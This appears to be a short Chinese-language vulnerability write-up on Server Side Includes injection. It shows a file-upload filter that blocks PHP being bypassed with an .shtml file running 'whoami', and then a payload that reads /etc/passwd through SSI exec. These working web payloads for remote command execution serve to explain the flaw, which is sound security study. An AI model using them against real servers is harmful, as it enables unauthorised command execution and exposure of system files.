SSI简介

SSI(服务器端包含)是​​放置在HTML页面中的指令,并在服务页面时在服务器上对其进行评估。它们使您可以将动态生成的内容添加到现有的HTML页面,而不必通过CGI程序或其他动态技术来提供整个页面。

例如,您可以将指令放置到现有的HTML页面中,例如:

1
<!--#echo var="DATE_LOCAL" -->

并且,当该页面被投放时,该片段将被评估并替换为其值:

1
Tuesday, 15-Jan-2013 19:28:54 EST

漏洞复现过程

图片

这边是来到了一个上传点,我先上传一个php文件看看能不能上传:

图片

Unsupported filetype uploaded.很明显,不能上传php!

那么我们就可以用SSI的特性来上传一个shtml文件

其中内容是:

1
<!--#exec cmd="whoami" -->

图片

然后我们打开刚刚上传的cmd.stml:

图片

图片

Response返回:

1
2
3
4
5
6
7
8
9
10
11

HTTP/1.1 200 OK
Date: Wed, 16 Oct 2019 11:53:49 GMT
Server: Apache/2.4.25 (Debian)
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 9
Connection: close
Content-Type: text/html

www-data

读取passwd文件

1
<!--#exec cmd="cat /etc/passwd" -->

图片